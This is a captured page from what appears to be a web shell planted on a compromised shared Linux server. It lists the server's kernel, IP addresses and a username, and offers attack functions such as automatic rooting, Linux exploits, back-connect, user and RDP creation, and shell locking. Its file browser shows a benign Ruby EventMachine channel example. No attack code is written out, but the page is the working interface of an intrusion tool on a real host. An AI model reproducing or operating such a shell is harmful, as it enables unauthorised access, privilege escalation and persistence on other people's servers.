Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ruby-eventmachine /
examples /
old /
[ HOME SHELL ]
Name
Size
Permission
Action
ex_channel.rb
1.11
KB
-rw-r--r--
ex_queue.rb
44
B
-rw-r--r--
ex_tick_loop_array.rb
221
B
-rw-r--r--
ex_tick_loop_counter.rb
527
B
-rw-r--r--
helper.rb
86
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ex_channel.rb
require File.dirname(__FILE__) + '/helper' EM.run do # Create a channel to push data to, this could be stocks... RandChannel = EM::Channel.new # The server simply subscribes client connections to the channel on connect, # and unsubscribes them on disconnect. class Server < EM::Connection def self.start(host = '127.0.0.1', port = 8000) EM.start_server(host, port, self) end def post_init @sid = RandChannel.subscribe { |m| send_data "#{m.inspect}\n" } end def unbind RandChannel.unsubscribe @sid end end Server.start # Two client connections, that just print what they receive. 2.times do EM.connect('127.0.0.1', 8000) do |c| c.extend EM::P::LineText2 def c.receive_line(line) puts "Subscriber: #{signature} got #{line}" end EM.add_timer(2) { c.close_connection } end end # This part of the example is more fake, but imagine sleep was in fact a # long running calculation to achieve the value. 40.times do EM.defer lambda { v = sleep(rand * 2); RandChannel << [Time.now, v] } end EM.add_timer(5) { EM.stop } end
Close